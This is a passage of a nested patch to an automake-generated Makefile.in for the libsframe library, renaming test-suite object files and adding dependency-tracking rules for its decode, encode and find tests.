+ testsuite/libsframe.find/$(am__dirstamp) \
+ testsuite/libsframe.find/$(DEPDIR)/$(am__dirstamp)
+
+ testsuite/libsframe.find/findfunc-1$(EXEEXT): $(testsuite_libsframe_find_findfunc_1_OBJECTS) $(testsuite_libsframe_find_findfunc_1_DEPENDENCIES) $(EXTRA_testsuite_libsframe_find_findfunc_1_DEPENDENCIES) testsuite/libsframe.find/$(am__dirstamp)
+ @rm -f testsuite/libsframe.find/findfunc-1$(EXEEXT)
+ $(AM_V_CCLD)$(LINK) $(testsuite_libsframe_find_findfunc_1_OBJECTS) $(testsuite_libsframe_find_findfunc_1_LDADD) $(LIBS)
+-testsuite/libsframe.find/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.$(OBJEXT): \
++testsuite/libsframe.find/plt_findfre_1-plt-findfre-1.$(OBJEXT): \
+ testsuite/libsframe.find/$(am__dirstamp) \
+ testsuite/libsframe.find/$(DEPDIR)/$(am__dirstamp)
+
+@@ -752,16 +772,22 @@ mostlyclean-compile:
+ distclean-compile:
+ -rm -f *.tab.c
+
+-@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libsframe_la-sframe-dump.Plo@am__quote@
+-@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libsframe_la-sframe-error.Plo@am__quote@
+-@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libsframe_la-sframe.Plo@am__quote@
+-@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_be_flipping-be-flipping.Po@am__quote@
+-@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_1-frecnt-1.Po@am__quote@
+-@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_2-frecnt-2.Po@am__quote@
+-@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.encode/$(DEPDIR)/testsuite_libsframe_encode_encode_1-encode-1.Po@am__quote@
+-@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfre_1-findfre-1.Po@am__quote@
+-@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_findfunc_1-findfunc-1.Po@am__quote@
+-@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.find/$(DEPDIR)/testsuite_libsframe_find_plt_findfre_1-plt-findfre-1.Po@am__quote@
++@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libsframe_la-sframe-dump.Plo@am__quote@ # am--include-marker
++@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libsframe_la-sframe-error.Plo@am__quote@ # am--include-marker
++@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libsframe_la-sframe.Plo@am__quote@ # am--include-marker
++@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.decode/$(DEPDIR)/be_flipping-be-flipping.Po@am__quote@ # am--include-marker
++@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.decode/$(DEPDIR)/frecnt_1-frecnt-1.Po@am__quote@ # am--include-marker
++@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.decode/$(DEPDIR)/frecnt_2-frecnt-2.Po@am__quote@ # am--include-marker
++@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.encode/$(DEPDIR)/encode_1-encode-1.Po@am__quote@ # am--include-marker
++@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.find/$(DEPDIR)/findfre_1-findfre-1.Po@am__quote@ # am--include-marker
++@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.find/$(DEPDIR)/findfunc_1-findfunc-1.Po@am__quote@ # am--include-marker
++@AMDEP_TRUE@@am__include@ @am__quote@testsuite/libsframe.find/$(DEPDIR)/plt_findfre_1-plt-findfre-1.Po@am__quote@ # am--include-marker
++
++$(am__depfiles_remade):
++ @$(MKDIR_P) $(@D)
++ @echo '# dummy' >$@-t && $(am__mv) $@-t $@
++
++am--depfiles: $(am__depfiles_remade)
+
+ .c.o:
+ @am__fastdepCC_TRUE@ $(AM_V_CC)depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.o$$||'`;\
+@@ -808,103 +834,103 @@ libsframe_la-sframe-error.lo: sframe-error.c
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+ @am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(libsframe_la_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o libsframe_la-sframe-error.lo `test -f 'sframe-error.c' || echo '$(srcdir)/'`sframe-error.c
+
+-testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.o: testsuite/libsframe.decode/be-flipping.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_be_flipping_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.o -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_be_flipping-be-flipping.Tpo -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.o `test -f 'testsuite/libsframe.decode/be-flipping.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/be-flipping.c
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_be_flipping-be-flipping.Tpo testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_be_flipping-be-flipping.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/be-flipping.c' object='testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.o' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.decode/be_flipping-be-flipping.o: testsuite/libsframe.decode/be-flipping.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_be_flipping_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/be_flipping-be-flipping.o -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/be_flipping-be-flipping.Tpo -c -o testsuite/libsframe.decode/be_flipping-be-flipping.o `test -f 'testsuite/libsframe.decode/be-flipping.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/be-flipping.c
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/be_flipping-be-flipping.Tpo testsuite/libsframe.decode/$(DEPDIR)/be_flipping-be-flipping.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/be-flipping.c' object='testsuite/libsframe.decode/be_flipping-be-flipping.o' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_be_flipping_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.o `test -f 'testsuite/libsframe.decode/be-flipping.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/be-flipping.c
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_be_flipping_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/be_flipping-be-flipping.o `test -f 'testsuite/libsframe.decode/be-flipping.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/be-flipping.c
+
+-testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.obj: testsuite/libsframe.decode/be-flipping.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_be_flipping_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.obj -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_be_flipping-be-flipping.Tpo -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.obj `if test -f 'testsuite/libsframe.decode/be-flipping.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/be-flipping.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/be-flipping.c'; fi`
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_be_flipping-be-flipping.Tpo testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_be_flipping-be-flipping.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/be-flipping.c' object='testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.obj' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.decode/be_flipping-be-flipping.obj: testsuite/libsframe.decode/be-flipping.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_be_flipping_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/be_flipping-be-flipping.obj -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/be_flipping-be-flipping.Tpo -c -o testsuite/libsframe.decode/be_flipping-be-flipping.obj `if test -f 'testsuite/libsframe.decode/be-flipping.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/be-flipping.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/be-flipping.c'; fi`
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/be_flipping-be-flipping.Tpo testsuite/libsframe.decode/$(DEPDIR)/be_flipping-be-flipping.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/be-flipping.c' object='testsuite/libsframe.decode/be_flipping-be-flipping.obj' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_be_flipping_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_be_flipping-be-flipping.obj `if test -f 'testsuite/libsframe.decode/be-flipping.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/be-flipping.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/be-flipping.c'; fi`
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_be_flipping_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/be_flipping-be-flipping.obj `if test -f 'testsuite/libsframe.decode/be-flipping.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/be-flipping.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/be-flipping.c'; fi`
+
+-testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.o: testsuite/libsframe.decode/frecnt-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.o -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_1-frecnt-1.Tpo -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.o `test -f 'testsuite/libsframe.decode/frecnt-1.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/frecnt-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_1-frecnt-1.Tpo testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_1-frecnt-1.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/frecnt-1.c' object='testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.o' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.decode/frecnt_1-frecnt-1.o: testsuite/libsframe.decode/frecnt-1.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/frecnt_1-frecnt-1.o -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/frecnt_1-frecnt-1.Tpo -c -o testsuite/libsframe.decode/frecnt_1-frecnt-1.o `test -f 'testsuite/libsframe.decode/frecnt-1.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/frecnt-1.c
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/frecnt_1-frecnt-1.Tpo testsuite/libsframe.decode/$(DEPDIR)/frecnt_1-frecnt-1.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/frecnt-1.c' object='testsuite/libsframe.decode/frecnt_1-frecnt-1.o' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.o `test -f 'testsuite/libsframe.decode/frecnt-1.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/frecnt-1.c
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/frecnt_1-frecnt-1.o `test -f 'testsuite/libsframe.decode/frecnt-1.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/frecnt-1.c
+
+-testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.obj: testsuite/libsframe.decode/frecnt-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.obj -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_1-frecnt-1.Tpo -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.obj `if test -f 'testsuite/libsframe.decode/frecnt-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/frecnt-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/frecnt-1.c'; fi`
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_1-frecnt-1.Tpo testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_1-frecnt-1.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/frecnt-1.c' object='testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.obj' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.decode/frecnt_1-frecnt-1.obj: testsuite/libsframe.decode/frecnt-1.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/frecnt_1-frecnt-1.obj -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/frecnt_1-frecnt-1.Tpo -c -o testsuite/libsframe.decode/frecnt_1-frecnt-1.obj `if test -f 'testsuite/libsframe.decode/frecnt-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/frecnt-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/frecnt-1.c'; fi`
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/frecnt_1-frecnt-1.Tpo testsuite/libsframe.decode/$(DEPDIR)/frecnt_1-frecnt-1.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/frecnt-1.c' object='testsuite/libsframe.decode/frecnt_1-frecnt-1.obj' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_1-frecnt-1.obj `if test -f 'testsuite/libsframe.decode/frecnt-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/frecnt-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/frecnt-1.c'; fi`
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/frecnt_1-frecnt-1.obj `if test -f 'testsuite/libsframe.decode/frecnt-1.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/frecnt-1.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/frecnt-1.c'; fi`
+
+-testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.o: testsuite/libsframe.decode/frecnt-2.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_2_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.o -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_2-frecnt-2.Tpo -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.o `test -f 'testsuite/libsframe.decode/frecnt-2.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/frecnt-2.c
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_2-frecnt-2.Tpo testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_2-frecnt-2.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/frecnt-2.c' object='testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.o' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.decode/frecnt_2-frecnt-2.o: testsuite/libsframe.decode/frecnt-2.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_2_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/frecnt_2-frecnt-2.o -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/frecnt_2-frecnt-2.Tpo -c -o testsuite/libsframe.decode/frecnt_2-frecnt-2.o `test -f 'testsuite/libsframe.decode/frecnt-2.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/frecnt-2.c
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/frecnt_2-frecnt-2.Tpo testsuite/libsframe.decode/$(DEPDIR)/frecnt_2-frecnt-2.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/frecnt-2.c' object='testsuite/libsframe.decode/frecnt_2-frecnt-2.o' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_2_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.o `test -f 'testsuite/libsframe.decode/frecnt-2.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/frecnt-2.c
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_2_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/frecnt_2-frecnt-2.o `test -f 'testsuite/libsframe.decode/frecnt-2.c' || echo '$(srcdir)/'`testsuite/libsframe.decode/frecnt-2.c
+
+-testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.obj: testsuite/libsframe.decode/frecnt-2.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_2_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.obj -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_2-frecnt-2.Tpo -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.obj `if test -f 'testsuite/libsframe.decode/frecnt-2.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/frecnt-2.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/frecnt-2.c'; fi`
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_2-frecnt-2.Tpo testsuite/libsframe.decode/$(DEPDIR)/testsuite_libsframe_decode_frecnt_2-frecnt-2.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/frecnt-2.c' object='testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.obj' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.decode/frecnt_2-frecnt-2.obj: testsuite/libsframe.decode/frecnt-2.c
++@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_2_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.decode/frecnt_2-frecnt-2.obj -MD -MP -MF testsuite/libsframe.decode/$(DEPDIR)/frecnt_2-frecnt-2.Tpo -c -o testsuite/libsframe.decode/frecnt_2-frecnt-2.obj `if test -f 'testsuite/libsframe.decode/frecnt-2.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/frecnt-2.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/frecnt-2.c'; fi`
++@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.decode/$(DEPDIR)/frecnt_2-frecnt-2.Tpo testsuite/libsframe.decode/$(DEPDIR)/frecnt_2-frecnt-2.Po
++@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.decode/frecnt-2.c' object='testsuite/libsframe.decode/frecnt_2-frecnt-2.obj' libtool=no @AMDEPBACKSLASH@
+ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+-@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_2_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/testsuite_libsframe_decode_frecnt_2-frecnt-2.obj `if test -f 'testsuite/libsframe.decode/frecnt-2.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/frecnt-2.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/frecnt-2.c'; fi`
++@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_decode_frecnt_2_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o testsuite/libsframe.decode/frecnt_2-frecnt-2.obj `if test -f 'testsuite/libsframe.decode/frecnt-2.c'; then $(CYGPATH_W) 'testsuite/libsframe.decode/frecnt-2.c'; else $(CYGPATH_W) '$(srcdir)/testsuite/libsframe.decode/frecnt-2.c'; fi`
+
+-testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.o: testsuite/libsframe.encode/encode-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(testsuite_libsframe_encode_encode_1_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.o -MD -MP -MF testsuite/libsframe.encode/$(DEPDIR)/testsuite_libsframe_encode_encode_1-encode-1.Tpo -c -o testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.o `test -f 'testsuite/libsframe.encode/encode-1.c' || echo '$(srcdir)/'`testsuite/libsframe.encode/encode-1.c
+-@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) testsuite/libsframe.encode/$(DEPDIR)/testsuite_libsframe_encode_encode_1-encode-1.Tpo testsuite/libsframe.encode/$(DEPDIR)/testsuite_libsframe_encode_encode_1-encode-1.Po
+-@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='testsuite/libsframe.encode/encode-1.c' object='testsuite/libsframe.encode/testsuite_libsframe_encode_encode_1-encode-1.o' libtool=no @AMDEPBACKSLASH@
++testsuite/libsframe.encode/encode_1-encode-1.o: testsuite/libsframe.encode/encode-1.c
